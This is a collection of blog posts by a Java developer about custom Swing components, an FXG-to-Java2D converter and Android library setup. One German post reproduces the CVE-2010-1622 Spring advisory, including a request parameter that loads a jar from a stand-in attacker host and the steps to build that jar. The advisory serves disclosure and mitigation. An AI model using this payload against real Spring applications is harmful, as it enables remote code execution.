Just a short blogpost about a little tool that i would like to share with you…
A few months ago i was creating a worldclock with a night and day display where i needed a conical gradient.
So what is a conical gradient ? Here we go…

You might think “ok, it looks nice but where is it useful ?”…well here are three little examples…

So if you would like to achieve these results without the conical gradient paint you have to rotate a line a change the color at every angle. This works out but if it comes to large angles you have to decrease the stepsize which leads to artifacts around the rotation center.

So the conical gradient paint is especialy useful when you work with rotationally symetrical stuff. With this kind of gradient you could get more realistic results of circular structures like the two buttons in the image above. On the left side i used a conical gradient and on the right side i used a linear gradient.

For most of the stuff the linear approach will work but the conical gradient gives you a more realistic shading. Things like the stainless steel button is hard to be generated without a gradient like this.

So let me show you some code to give you an idea of how to work with the ConicalGradientPaint:

The syntax is similar to the LinearGradientPaint and RadialGradientPaint where you define a float array that holds all the fractions of the gradient, a color array that holds all the colors for each fraction and a point that defines the rotation center of the gradient.

Additional to that standard parameters i added a indicator for the usage of degrees and a rotation offset.

Usage:

ConicalGradientPaint cgp = new ConicalGradientPaint(USE_DEGREES, CENTER, OFFSET, FRACTIONS, COLORS);

USE_DEGREES = true/false

CENTER = java.awt.geom.Point2D

OFFSET = float (either 0.0f – 1.0f or 0.0f – 360.0f)

FRACTIONS = float[] (either values from 0.0f..1.0f or from 0.0f..360.0f)

COLORS = java.awt.Color[]

// Code for a simple cone like from black over white to black
final Ellipse2D CONE = new Ellipse2D.Double(0, 0, 150, 150);

final Point2D CONE_CENTER = new Point2D.Double(CONE.getCenterX(), CONE.getCenterY());

final float[] CONE_FRACTIONS =
{
    0.0f,
    0.5f,
    1.0f
};

final java.awt.Color[] CONE_COLORS =
{
    java.awt.Color.BLACK,
    java.awt.Color.WHITE,
    java.awt.Color.BLACK
};

final ConicalGradientPaint CONE_GRADIENT = new ConicalGradientPaint(
	CONE_CENTER,
	CONE_FRACTIONS,
	CONE_COLORS);

G2.setPaint(CONE_GRADIENT);

G2.fill(CONE);

As you can see it’s not magic but simple stupid java code and with a little variation in colors and fractions you could achieve effects like the stainless steel button.

In my free time i’m working on a new component library (mostly gauges) where i also could use the conical gradient paint.

In the screenshot you could see that the gauge has a area from 10 to 60 where it has a gradient in the background. This gradient is also filled by the ConicalGradientPaint.

So you see it could be useful to have this kind of gradient available and for that reason i would like to share it with you…

Here is the source as zipped Netbeans project. It contains the ConicalGradient class and a little demo that will give you an idea of how to use the paint.

In this project you’ll also find a compiled jar that you could start and it will show you this

So enjoy Swing and follow me on twitter if you like…

Weitere Artikel:

1. FXG to Java2D converter
2. Swing Worldclock
3. Drawing in code (Part 2)

AutoConversion EditText component:

Yesterday i created a Java Swing textfield component that autoconverts a given value into a selectable unit which could be useful.

In the evening i got the idea to port this component to Android and see if it will work there.

Just as a short note…if you are a Java developer you should take a look into Android…it’s sooooo nice, porting the component tooks me not more than 2 hours (and i’m not really into Android development).

Here is the result:

So you could type in a value with the unit of your choice and after leaving the field the value will be converted into the EditText “base unit”.

I changed the units with special characters like µ, Å, ² and ³ to u, A, 2 and 3 which leads to units like:

um  <=>  µm

A <=>  Å

m2  <=>  m²

m3  <=>  m³

and so on…

The upper spinner will select the type of unit you would like to use.

The middle spinner will select the current base unit for the textfield.

The lower spinner will adjust the number of decimals for the textfield.

Because it displays the unit directly in the textfield there’s no need for a additional label for the unit.

You also might check this little video

Well again this is nothing very fancy or gui related but it was a nice challange for me so i decided to share it with you… AutoConversionField.zip

follow me on twitter if you like…

Weitere Artikel:

1. Java AutoConversion textfield component
2. Using Smack xmpp lib on Android with Netbeans
3. Custom swing component

AutoConversion textfield component:

If you drive a motorized stage of a microscope you often have to handle coordinates in a unit like millimeter [mm]. But it might happen that the sample in your microscope is only in the range of microns [µm].

So would it not be nice to directly type in the coordinates in µm and the textfield would automaticaly convert the unit into [mm] ?

This would increase the workflow a lot because you do not have to think about conversion of units. There seems to be countries that are using inches and people living there might like to type in coordinates in inches instead of millimeters..etc…

For this reason i created a little component that extends a standard javax.swing.JTextField and is now able to do the conversion. You could also use the conversion alone without the textfield to create some kind of unit converter…it’s up to you.

Here are a few screenshots of a demo app that uses the component:

So you could type in a value with the unit of your choice and after leaving the field or pressing enter the value will be converted into the textfields “base unit”.

The upper combobox will select the type of unit you would like to use (it supports angle, area, length, mass, temperature, time at the moment but one could easily add more units to it).

The middle combobox will select the current base unit for the textfield.

The lower combobox will adjust the number of decimals for the textfield.

Because it displays the unit directly in the textfield there’s no need for a additional label for the unit.

You also might check this little video

Well this is nothing very fancy or gui related but it was very useful for me so i decided to share it with you… ConversionField.zip

follow me on twitter if you like…

Weitere Artikel:

1. Android AutoConversion EditText component
2. Custom swing component

Spring Source hat mit CVE-2010-1622 auf eine kritische Sicherheitslücke im Spring Framework aufmerksam gemacht. Die von Meder Kydyraliev, Google Security Team gefundene Lücke ist seit April bekannt und wurde mit dem Release Spring Framework 3.0.3 gefixt. (Dieses Release wurde jedoch nicht als sicherheitskritisch gekennzeichnet und das Problem könnte so leicht übersehen werden!) Bei der Lücke handelt es sich um “remote arbitrary code execution” – ein Angreifer kann also beliebigen Code im Kontext der Spring Anwendung aus der Ferne ausführen. Das Spring Framework hat sich in den letzten Jahren als defacto Standard im Bereich der Java Enterprise Entwicklung herauskristallisiert und konkurriert mit dem JavaEE Stack von Sun/Oracle.

Wer Spring einsetzt sollte über ein Update nachdenken, bzw. Anwendungen darauf Überprüfen, dass statt “disallowedProperties” die “allowedProperties” beim Binding explizit gesetzt werden.

Im folgenden der Text von CVE-2010-1622:

7 June 2010: CVE-2010-1622: Spring Framework execution of arbitrary code

Severity: Critical

Versions Affected:

• 3.0.0 to 3.0.2
• 2.5.0 to 2.5.6.SEC01 (community releases)
• 2.5.0 to 2.5.7 (subscription customers)

Earlier versions may also be affected

Description:

The Spring Framework provides a mechanism to use client provided data to update the properties of an object. This mechanism allows an attacker to modify the properties of the class loader used to load the object (via ‘class.classloader’). This can lead to arbitrary command execution since, for example, an attacker can modify the URLs used by the class loader to point to locations controlled by the attacker.

Example:

This example is based on a Spring application running on Apache Tomcat.

1. Attacker creates attack.jar and makes it available via an HTTP URL. This jar has to contain following:

- META-INF/spring-form.tld – defining spring form tags and specifying that they are implemented as tag files and not classes;

- tag files in META-INF/tags/ containing tag definition (arbitrary Java code).

2. Attacker then submits HTTP request to a form controller with the following HTTP parameter:

class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/

At this point the zeroth element of the WebappClassLoader’s repositoryURLs property will be overwritten with attacker’s URL.

3. Later on, org.apache.jasper.compiler.TldLocationsCache.scanJars() will use WebappClassLoader’s URLs to resolve tag libraries and all tag files specified in TLD will be resolved against attacker-controller jar (HTTP retrieval of the jar file is performed by the URL class).

Mitigation:

• All users may mitigate this issue by upgrading to 3.0.3
• Community users of 2.5.x and earlier may also mitigate this issue by upgrading 2.5.6.SEC02
• Subscription users of 2.5.x and earlier may also mitigate this issue by upgrading 2.5.6.SEC02 or 2.5.7.SR01

Credit:

The issue was discovered by Meder Kydyraliev, Google Security Team.

Am 12. Juni ist es soweit…ich werde bei mir zu Hause den inoffiziellen JUG SummerEvent veranstalten…

Dabei geht es im wesentlichen darum sich zu treffen, ein paar Bierchen zusammen zu trinken, etwas auf den Grill zu schmeissen und natürlich auch ein wenig Java zu coden (natürlich nur wer Lust dazu hat). Desweiteren steht ein Tischkicker, evtl. eine Carrerabahn (muß ich erst aufbauen) und ein Trampolin zur Verfügung für diejenigen von Euch, welche sich sportlich betätigen möchten.

Da wir bei uns zu Hause natürlich keinen geeigneten Raum haben um Vorträge zu präsentieren, würde es sich ja anbieten diesen Event für sog. Lightning Talks zu nutzen. Dabei kann jeder der Interesse hat ja etwas vorbereiten, was er den anderen in max. 10 Minuten zeigen möchte.

Ihr könnt Euch auch hier bei Xing als Teilnehmer eintragen falls Ihr mögt…

Zur Veranstaltung:

Wer: jeder der Lust und Zeit hat sich ein wenig auszutauschen

Wo: Bei mir zu Hause (Westfalenstrasse 93, 48165 Münster GoogleMaps)

Wann: ab 11 Uhr könnt Ihr bei mir eintrudeln, Ende offen

Mitzubringen sind:

- Grillfleisch

- Notebook (falls benötigt)

- wenn mögich Salate und Brot

Getränke, Grill etc. sponsor ich…

Weitere Artikel:

1. Swing WorkShop
2. JavaFX Composer

Last week i got my Android phone and finally started coding for a mobile phone (which really is a great experience and lot’s of fun).

During my daylight work i’m using xmpp in different projects and tools and so i would really like to use it on the Android phone also. In the java world there is a really neat library called smack from ignite realtime which makes using xmpp a piece of cake and so i asked myself if it would also run on android?

Yes it does…BUT…you need a patched version that i found on the net…
In Eclipse it seems to be easy to link a external library to a android project but in Netbeans i was not so intuitively as i thought…
You need three little steps to include a external library like smack and here they are:

#1 STEP:

Create a local folder named “lib” in your Android project folder like this:

Now copy the patched smack.jar file into this folder.

#2 STEP:

Add the jar file to your libraries in netbeans like this:

#3 STEP:

At last you have to edit the build.xml file of your android project and add the link to the /lib folder where you copied the library file.

Add the following to the end of your build.xml file:

<!– Add path to external libs to buildpath –>

<target name=“-pre-jar”>

<property name=“external.libs.dir” value=”/PATH_TO_YOUR_PROJECT/lib“ />

<copy todir=“${build.classes.dir}”>

<fileset dir=“/PATH_TO_YOUR_PROJECT/lib” />

</copy>

</target>

That’s it…

Now you should be able to use the external library in the same way as you know it from your normal desktop machine.
Be aware that the patched smack.jar does not contain the complete functionality of the desktop version…
You might also take a look at a project called asmack which you could find here…

Weitere Artikel:

1. Android AutoConversion EditText component
2. Custom swing component

During the last months i was working a lot on Java Swing components which really is a lot of fun. It took me some time to establish a workflow to transfer my design prototypes from Adobe Fireworks into Java2D elements.

With not too complex shapes this was not a big deal even if it was a lot of coding (see also Drawing in code part I and Drawing in code part II) but during the work on my current component (which will be a combination of weather and time of day display for different cities) i needed to create clouds…

Did you ever create clouds in vector programs ? It’s really not so easy if they should look nice and you will need a lot of ellipses in different sizes to get a result which looks not too bad.
After creating my first cloud out of 49 circles (all the same size) i figured out that it would take a looooooooong time to complete these clouds.

And so i tried a different approach by creating a spreadsheet where i “only” have to fill in the x,y coordinates of the shapes and it creates the resulting sourcecode out of it so that i could copy and paste it to my netbeans project.

That’s what it looked like:

That was not too bad but not the solution i was looking for and so i checked all possibilities to export a Adobe Fireworks png file to a format which i could read and convert with Java.

And i found it…it’s called FXG and is similar to SVG but was created from Adobe to exchange images within the Adobe CS4 suite. When i took a look at the exported fxg file (which is a xml dialect) i found out that it should not be too hard to write a quick and dirty converter that will help me get the shape coordinates from the fxg file into the Java2D sourcecode.
So i started with converting only the coordinates but that was fun and so i continued to convert also gradients, strokes, text etc.

In the meantime Adobe announced the CS5 suite which will make use of the FXG 2.0 standard and i hope my converter will be able to handle this too (if not i’ll make it possible).

Well right now this is NOT a full blown converter but a little tool (unfortunately still a quick and dirty solution) that helps me converting my design prototypes from Adobe Fireworks into Java2d sourcecode.

And that’s what it looks like today:

Here’s a short example of how to use it:

This is the file i would like to convert:

(The original file was in eps format and could be downloaded here)

Open the file in Adobe Fireworks and export it to fxg (see screenshot):

I kept a hint of Dave Gilbert (subscribe to his blog) in my mind who told me to keep things scalable and for this reason (thanx Dave) i created the converter in the way that it converts all vector shapes to scalable Java2D shapes. This means you could take a big image like i did in this example (809 px width) and the conversion will create a method that creates a buffered image where you could define the width (and the height will be calculated properly so that you keep the right aspect ratio).

Now simply drag the fxg file to the symbol on the FxgConverter tool and it will show you a preview of the converted image like this:

If you now press the convert button the FxgConverter will convert the fxg data into java2d code and copy the code to the clipboard. Additional to that it will create a java file on your desktop which contains the sourcecode.

The method that was copied to the clipboard in this case looks like that (only the start):

    private java.awt.image.BufferedImage createGreenEyesImage(int width)
    {
        final java.awt.GraphicsConfiguration GFX_CONF = java.awt.GraphicsEnvironment.getLocalGraphicsEnvironment().getDefaultScreenDevice().getDefaultConfiguration();
        final java.awt.image.BufferedImage IMAGE = GFX_CONF.createCompatibleImage(width, (int) (0.45982694684796044 * width), java.awt.Transparency.TRANSLUCENT);
        java.awt.Graphics2D g2 = IMAGE.createGraphics();
        g2.setRenderingHint(java.awt.RenderingHints.KEY_ANTIALIASING, java.awt.RenderingHints.VALUE_ANTIALIAS_ON);
        g2.setRenderingHint(java.awt.RenderingHints.KEY_ALPHA_INTERPOLATION, java.awt.RenderingHints.VALUE_ALPHA_INTERPOLATION_QUALITY);
        g2.setRenderingHint(java.awt.RenderingHints.KEY_COLOR_RENDERING, java.awt.RenderingHints.VALUE_COLOR_RENDER_QUALITY);
        g2.setRenderingHint(java.awt.RenderingHints.KEY_STROKE_CONTROL, java.awt.RenderingHints.VALUE_STROKE_PURE);
        final int IMAGE_WIDTH = IMAGE.getWidth();
        final int IMAGE_HEIGHT = IMAGE.getHeight();

        final java.awt.geom.GeneralPath PATH1_1 = new java.awt.geom.GeneralPath();
        PATH1_1.setWindingRule(java.awt.geom.GeneralPath.WIND_NON_ZERO);
        PATH1_1.moveTo(IMAGE_WIDTH * 0.20024721878862795, IMAGE_HEIGHT * 0.3763440860215054);
        PATH1_1.curveTo(IMAGE_WIDTH * 0.19901112484548825, IMAGE_HEIGHT * 0.3763440860215054, IMAGE_WIDTH * 0.19777503090234858, IMAGE_HEIGHT * 0.3736559139784946, IMAGE_WIDTH * 0.1965389369592089, IMAGE_HEIGHT * 0.3736559139784946);
        PATH1_1.curveTo(IMAGE_WIDTH * 0.18912237330037082, IMAGE_HEIGHT * 0.3655913978494624, IMAGE_WIDTH * 0.18170580964153277, IMAGE_HEIGHT * 0.3548387096774194, IMAGE_WIDTH * 0.17428924598269468, IMAGE_HEIGHT * 0.3467741935483871);
        PATH1_1.curveTo(IMAGE_WIDTH * 0.1668726823238566, IMAGE_HEIGHT * 0.3387096774193548, IMAGE_WIDTH * 0.15945611866501855, IMAGE_HEIGHT * 0.3333333333333333, IMAGE_WIDTH * 0.15203955500618047, IMAGE_HEIGHT * 0.32526881720430106);
        PATH1_1.curveTo(IMAGE_WIDTH * 0.1508034610630408, IMAGE_HEIGHT * 0.33064516129032256, IMAGE_WIDTH * 0.14833127317676142, IMAGE_HEIGHT * 0.3333333333333333, IMAGE_WIDTH * 0.14709517923362175, IMAGE_HEIGHT * 0.3387096774193548);
        PATH1_1.curveTo(IMAGE_WIDTH * 0.14585908529048208, IMAGE_HEIGHT * 0.3629032258064516, IMAGE_WIDTH * 0.1446229913473424, IMAGE_HEIGHT * 0.4112903225806452, IMAGE_WIDTH * 0.1508034610630408, IMAGE_HEIGHT * 0.4381720430107527);
        PATH1_1.curveTo(IMAGE_WIDTH * 0.15822002472187885, IMAGE_HEIGHT * 0.4731182795698925, IMAGE_WIDTH * 0.14956736711990112, IMAGE_HEIGHT * 0.4381720430107527, IMAGE_WIDTH * 0.14956736711990112, IMAGE_HEIGHT * 0.4381720430107527);
        PATH1_1.curveTo(IMAGE_WIDTH * 0.1508034610630408, IMAGE_HEIGHT * 0.4435483870967742, IMAGE_WIDTH * 0.15327564894932014, IMAGE_HEIGHT * 0.45161290322580644, IMAGE_WIDTH * 0.15451174289245984, IMAGE_HEIGHT * 0.45698924731182794);
        PATH1_1.curveTo(IMAGE_WIDTH * 0.1619283065512979, IMAGE_HEIGHT * 0.4946236559139785, IMAGE_WIDTH * 0.173053152039555, IMAGE_HEIGHT * 0.5268817204301075, IMAGE_WIDTH * 0.18912237330037082, IMAGE_HEIGHT * 0.5591397849462365);
        PATH1_1.curveTo(IMAGE_WIDTH * 0.1965389369592089, IMAGE_HEIGHT * 0.5698924731182796, IMAGE_WIDTH * 0.20519159456118666, IMAGE_HEIGHT * 0.5806451612903226, IMAGE_WIDTH * 0.21508034610630408, IMAGE_HEIGHT * 0.5860215053763441);
        PATH1_1.curveTo(IMAGE_WIDTH * 0.24721878862793573, IMAGE_HEIGHT * 0.6129032258064516, IMAGE_WIDTH * 0.28059332509270707, IMAGE_HEIGHT * 0.6102150537634409, IMAGE_WIDTH * 0.30407911001236093, IMAGE_HEIGHT * 0.5860215053763441);
        PATH1_1.curveTo(IMAGE_WIDTH * 0.28059332509270707, IMAGE_HEIGHT * 0.5, IMAGE_WIDTH * 0.242274412855377, IMAGE_HEIGHT * 0.43010752688172044, IMAGE_WIDTH * 0.20024721878862795, IMAGE_HEIGHT * 0.3763440860215054);
        PATH1_1.closePath();
        final java.awt.Color FILL_COLOR_PATH1_1 = new java.awt.Color(new java.awt.Color(0xFFFFFF).getRed(), new java.awt.Color(0xFFFFFF).getGreen(), new java.awt.Color(0xFFFFFF).getBlue(), 255);
        g2.setColor(FILL_COLOR_PATH1_1);
        g2.fill(PATH1_1);
...
        g2.dispose();
        return IMAGE;
    }
//g2.drawImage(createGreenEyesImage(100), 0, 0, null);

As you could see the last row will contain the code which draws the image, just copy this row and paste it into your painting code (e.g. paintComponent method).
So the result of the 809 px wide original image converted to Java2D looks like this at 128px, 256px and 512px:

If you name the elements in Fireworks the converter will name the shapes in the sourcecode with the same name (keep in mind that you do not use the same name twice). It’s not needed to give each element a name but in complex designs it makes things easier, especialy if you would like to make changes to it later in the sourcecode.

Fireworks:

Resulting sourcecode:

Thanx to Rémy Rakic (find him here on twitter or subscribe to his blog) i got some fxg files that have been converted by Adobe Illustrator. Unfortunately the fxg format from Illustrator is different from the Fireworks fxg format and so i had to rework parts of the converter. To get the best results you should ungroup all elements in Fireworks before you export them to fxg.

For me the most important thing was to get the shapes from my Adobe Fireworks files into Java2D code to make the creation of custom java swing components more easy the converter won’t make use of bitmaps that are linked to the fxg file etc.
It will only convert (hopefully) all kinds of shapes with their filling and strokes to java2d code.

In the Netbeans project you will find two converters, one will create a buffered image on the fly (this was needed for the preview) and the other will copy the sourcecode to the clipboard and save it as a java file.

KEEP IN MIND:

In Java a single method is not allowed to be larger than 64 kb !!! You might think that you will never reach this size but when it comes to complex vectorgraphics it’s not a big deal to create single method with more than 10000 lines of code !!!
I just use a simple trick to avoid methods that large by splitting them up into methods of 1000 lines of code. So if you have a very large fxg file to convert you might find multiple versions of the image creating method (in the example above it would look like createGreenEyesImage(int width, createGreenEyesImage1(int width), etc.).
With this trick i could still create one big image by calling the methods for example like this g2.drawImage(createImage2(createImage1(createImage(100))));
Unfortunately i still found images that will blow up my code and it won’t work but for smaller fxg designs it works ok.

KNOWN ISSUES:

• I do not care about grouping in Fireworks so it’s a good advice to ungroup all elements in Fireworks before you export it to fxg
• There seems to be a problem with the fxg export of copied elements with gradients. So if you create something try not to copy structures with gradients
• The conversion of big fxg files (unfortunately i could not define big) might lead to methods bigger than 64 kb, so you could try to decrease the no. of lines per method in the converter class to avoid it
• FXG files exported by Illustrator might not look perfect (unfortunately i do not have Illustrator for testing)
• At the moment there is basic support for text but it could be better
• It seems to be a problem if you have a path that was made of only a few cubic splines, if you add some more points, it will convert fine. I did not found the time to take a closer look to the problem.
  Here is a short example:

  Path with only a few points:

  

  and the result in the converter:

  

  Path with more points:

  

  and the result in the converter:

  

I hope that with Adobe’s CS5 the fxg export in Illustrator and Fireworks will lead to the same result, please keep in mind that this is still not finished yet and whenever i find some time i try to improve the conversion.

For those of you that would like to see it in action…here we go…

So feel free to play around with it:

As always you will get the source as Netbeans project: FxgConverter.zip

Follow me on twitter if you like…

Weitere Artikel:

1. Java2D Conical Gradient Paint

Sitting at Gard du Nord train station in Paris in January this year i saw this huge departure board:

It was fascinating to see and hear all these flipping characters everytime a departure time changed. I guess most of you know already how these boards work but for all others i will explain it shortly.

The arriving trains are in chronological order from top to bottom of the board which means the trains that arrives as next stays on top of the board.
The flipping characters are made of little metal plates that are printed on the front and backside with characters that are split into half. The Top part of the character is printed on the frontside of the upper plate and the bottom part of the character is printed on the backside of the lower plate (i tried to visualize it with a little image).

So if the current character the element shows is a “B” and it should show up the character “C” it only flips once and the next character will be the “C” BUT if it should shup up the character “A” it has to flip through the whole stack of characters until it reaches the “A” because there is only one direction it could flip.

I was asking myself if it might be possible to do that in swing and on my way back to germany i started creating a flipping character component in Adobe Fireworks and Netbeans.
So the design of the component and the logic behind it was one thing but the flipping of the plates was a totaly different problem.
For a realistic view i would need something like a perspective transform which is not available in Swing. First i skimmed through Google search results to find something and found solutions to this problem but for just a little component the solutions have been to heavy.
Next thought was JavaFX because there you have a perspective transform and so i thought about using JavaFX to do the transformation and use the transformed images in swing…but i was not able to do so.

In the end it was a really easy solution even if it’s not as close to the reality as i whish it would but when i thought about the speed the characters are flipping with i found out that you won’t really notice each plate flipping. So the solution is using “fake images” for each flipping state which has the big advantage that i could use the same images over and over again. Here is what they look like:

So it just lacks the characters on the plate during the flip but on the other hand it’s faster because i do not have to transform the images on each flip but only playback a sequence of images.

The resulting swing component looks like this:

Now it was easy to create a panel that holds some of these flipping characters and put some logic in that the panel represents a word.

Satisfied with this solution i left the component like it was and moved to other things but when i was at JFokus conference in february in sweden i got the problem that i did not have the exact schedule of all the talks which leads me to the following idea…

Every appointment in my calendar (meetings etc.), talks on our JUG events and all other time based events could be handled by a departure board like the one i saw at Paris. So i started creating a talk departure board that we could use for our JUG events.

Now i was facing another problem that did not occur before, if i use a lot of these flipping characters i need a lot of animation at the same time which means a lot of redraws etc. which could make things slow down.
For that reason i implemented a global timer that triggers the flipping of every character so that they are flipping at the same time. The next problem was the space the component would need…it’s huge (around 1600 px wide). I created the departure board for big screens with resolutions around 1920 px because it was not made for personal use on your notebook but for big screens at JUG events (you might tweak the component if you need a smaller one).

To get a better look i needed a analog clock to show the current time and some led to visualize the next upcoming event. And here they are:

With all these components available i started creating the departure board and the final result looks like this (only parts because it’s too big):

To fill the component with data i created a small xml file that contains the events (this could be improved) wich contains data like event title, event date and time, title, speaker and room of each talk. You could also add your own logo image (png format) to the upper right corner of the departure board by defining it in the xml file.
The component will read in the xml file at startup if it is in the same folder and will display the events.
If there will be a event within the next 5 minutes the green led at the beginning and end of the event will start to blink and they will stop blinking if the current event is running for more than 5 minutes. In this case the top event will be deleted from the board and all other events will move one row up in the list.

Well i finished this component in february but did not find the time to make further improvements to it so i decided to release it as it is to give you something to play with.

It might be usefull for some of you (e.g. you could use it in your company to visualize appointments with visitors at the lobby).

After start up it will take some seconds to flip every component through the whole stack (which might be slow) but after this the flipping of the rows should be faster (but could still be improved).

Finally here is a link to a little video where you could see the component in action.

Swing talk departure board

And as always the source as Netbeans project (EventTalkBoard.zip).

Follow me on twitter if you like…

Weitere Artikel:

1. Swing Worldclock
2. Swing Weather Worldclock
3. Custom swing component

Remember the worldclock blogpost? Well it was ok but i thought there was one thing missing…

Weather information

For that reason i added this missing feature to the known worldclock component so that you now might choose out of four clocks:

• Pure clock and icon indicator for time of day
• Pure clock, icon indicator for time of day and weather information
• Clock with inbuild time of day display
• Clock with inbuild time of day display and weather information

This image shows all available clocks:

To get the weather information for all the cities in the enum i provide, i needed to add the country for each city and by adding all these countries i translated the cities to their (hopefully) right english names (in the original worldclock post i used german city names).

I use weather underground to retrieve the weather information because they provide an easy to access service for free. You will find a package called “net” in the project in which i put the classes responsible for fetching the weather condition. There is timer which checks every 30 seconds for the availability of the connection.
The clockpanels will every 10 minutes add a so called ConditionFetcher thread to the queue of the WeatherService which will be handled by a ExecutorService. The WeatherService will tries to use the system proxy server if there is one so it hopefuly works out for you.

The most of the work was done by creating all the different weather condition images which you will see in the next image:

And of course we will have different images for the night (but only different if the moon is visible), here they are:

Additional to the current weather condition you will find the min and max temperature below the condition image and you could choose between degrees celsius or fahrenheit as temperature unit.

In the project you will find a package called “app” and in this package you will find four classes called “Main1″, “Main2″, “Main3″, “Main4″. Each of these classes will start a different version of the worldclock with the four cities (Hong Kong, Berlin, New York, San Francisco) so if you are fine with the cities just select the right class as start class in the netbeans project properties and compile it. Otherwise change/add/remove the cities as you like.

Here are the four predefined worldclocks:

Main1.class

Main2.class

Main3.class

Main4.class

So that’s the weather worldtime clock and as always you will find the source as zipped netbeans project here.

By the way i’m still not satisfied with this version. I’m currently working on a different approach where i try to visualize the time of the day and combine it with weather and a clock but that project will take some more time to finish. Here is a little preview:

But that’s a different story…

Enjoy Java and follow me on twitter if you like…

Weitere Artikel:

1. Swing Worldclock
2. Custom swing component
3. Swing Apollo space program mission timer

During my trip to JFokus conference last month i was waiting for the train on a german trainstation.
Because i started working on a little swing tool (i will blog about it later) for our usergroup i was in the need for a analog clock.
So the german railway company “Deutsche Bahn” has a famous analog clock on nearly every german trainstation which looks like this:

I thought this would be a nice clock to adopt in Swing and started coding. To my surprise that was an easy job and did not took much time to complete. I started with a dark version of this clock because my usergroup swing component was designed in a dark color scheme.

Some days later i remembered that on the iPhone there’s a worldclock application which also contains analog clocks.
Because the clock was finished already i thought i could not be too hard to implement this kind of worldclock in Java.
So i started this little worldclock project i would like to tell you about here.

Step #1
Creating two versions of the analog clock component.

The nice thing in NetBeans (and also other gui editors) is that once you generated a swing component you could easily drag’n drop the component to a JPanel or JFrame etc. like on the following movie (quicktime mov format).

NetBeans_Swing.mov

So you will be able to easily create new components by drag stuff together.

Step #2

Creating a JPanel which contains the clock and the name of the related city. So we need a class that contains cities with their international timezones. Here is a small fraction of my class.

public enum City
{
    // -12
    Wellington("Wellington", -43200000),
    Fidschi("Fidschi", -43200000),
    Kamtschatka("Kamtschatka", -43200000),
    // -11
    Magadan("Magadan", -39600000),
    Sachalin("Sachalin", -39600000),
    Salomoninseln("Salmoninseln", -39600000),
    Malekula("Malekula", -39600000),
    // -10
    Wladiwostok("Wladiwostok", -36000000),
    Guam("Guam", -36000000),
    Sydney("Sydney", -36000000),
    Brisbane("Brisbane", -36000000),
    Melbourne("Melbourne", -36000000),
    // -9.5
    Darwin("Darwin", -34200000),
    Adelaide("Adelaide", -34200000),
    // -9
    ...
}

So if you won’t find your city in the list…feel free to add it with it’s timezone offset.

Additional to that we should show the current time of the day because if it’s 5:50 AM and 6:10 PM we will get a dark clock in both cases but one is at morning and the other at evening. For this reason i added a JPanel where i draw one out of four different states like follows:

• Sunrise    
• Day         
• Sunset     
• Night       

Furthermore we need a indication for the current day because it might happen, that a timezone is still on the time yesterday or on the time tomorrow. For this i add a little JLabel that indicates these states with

• yesterday
• today
• tomorrow

Long story short…this is the JPanel i’m talking about

Step #3

Now i created a neat background panel that will take all the different city panels and give them a nice background.
Looks like this

Step #4

Create a JFrame in NetBeans and drag’n drop the background panel on to it.
Now you drag’n drop as many clock panels on the background panel as you would like to see in your worldtime clock and select the city for each panel…bam…that’s it.

Step #5

R E V I E W . . .

As i used the clock on my desktop i thought it would be nice if the clock itself could show the time of the day like some watches do.

And so i started to create another version of the AnalogClock component…

Therefor i needed a circular shape which represents the day-night cycle. Here is my Fireworks prototype

Unfortunately there is no out of the box ConicalGradientPaint available in Java2D and so i had to create my own version. I did this by rotating a Line2D around the center of the clock with changing color in dependence on the rotation angle.

This worked out fine and did the job but looked ugly in the code and i thought about creating my own ConicalGradientPaint class.

This was a challange to me because i had no idea about WritableRaster, PaintContext etc. and it took me some time to understand the underlying concept.

Now i have a gradient paint (and you will have it too if you take a look at the source) that i can use in the same way as e.g. LinearGradientPaint or RadialGradientPaint, here a short example

// Define the center of the cone
final java.awt.geom.Point2D CENTER = new java.awt.geom.Point2D.Double(IMAGE.getWidth() / 2, IMAGE.getHeight() / 2);

// Define the fractions for the colors
final float[] FRACTIONS =
{
    0.0f,
    0.10f,
    0.14f,
    0.18f,
    0.32f,
    0.68f,
    0.82f,
    0.86f,
    0.90f,
    1.0f
};

// Define the colors for the fractions
final java.awt.Color[] COLORS =
{
    new java.awt.Color(0x000000),
    new java.awt.Color(0x000000),
    new java.awt.Color(0x332200),
    new java.awt.Color(0x664411),
    new java.awt.Color(0x85A4C3),
    new java.awt.Color(0x85A4C3),
    new java.awt.Color(0x004466),
    new java.awt.Color(0x002233),
    new java.awt.Color(0x000000),
    new java.awt.Color(0x000000)
};

// Define the ConicalGradientPaint with the given parameters
final ConicalGradientPaint CONICAL_GRADIENT_PAINT = new ConicalGradientPaint(CENTER, FRACTIONS, COLORS);

// Set the paint
g2.setPaint(CONICAL_GRADIENT_PAINT);

// Fill a ellipse with the gradient
g2.fill(new java.awt.geom.Ellipse2D.Double(0, 0, IMAGE.getWidth(), IMAGE.getHeight()));

This piece of code leads to something like that

which is exactly the result i needed.
There’s one thing which i was not able to fix right now and that is transformation. Because i rotate the image in dependency of the current time i just calculate the angle from the time and say g2.rotate(nightDayAngle)…

Unfortunately this doesn’t work with my homebrewed ConicalGradientPaint because it does not take the transformation into account.
My idea was to create the night-day image as a bufferedimage and rotate it every minute about the time dependend angle. Because i could not rotate the gradient i now create the night-day image and rotate it everytime the seconds pointer will move forward.

That means if i could rotate the gradient it would give me a better performance but unfortunately i did not found the time to implement it right now.

Again long story short…here is the result of the AnalogClock component with it’s ability to show the current time of the day as graphic.

I created a special version of the clock with semitransparent images to show you were the night-day image is placed behind the clock-background. Here you see both versions…

With this AnalogClock i also created a worldclock that now looks like this

Well that’s it so far, i hope this will be usefull for at least some of you…

Of course you will get the source as always here…WorldClock.zip

In the netbeans project you will find two main classes, Main.class will start the worldclock without the night-day display and Main2.class will start it with the night-day display. Default is the Main.class.

Follow me on twitter if you like…

Weitere Artikel:

1. Swing Weather Worldclock
2. Swing event departure board
3. Swing NixieClock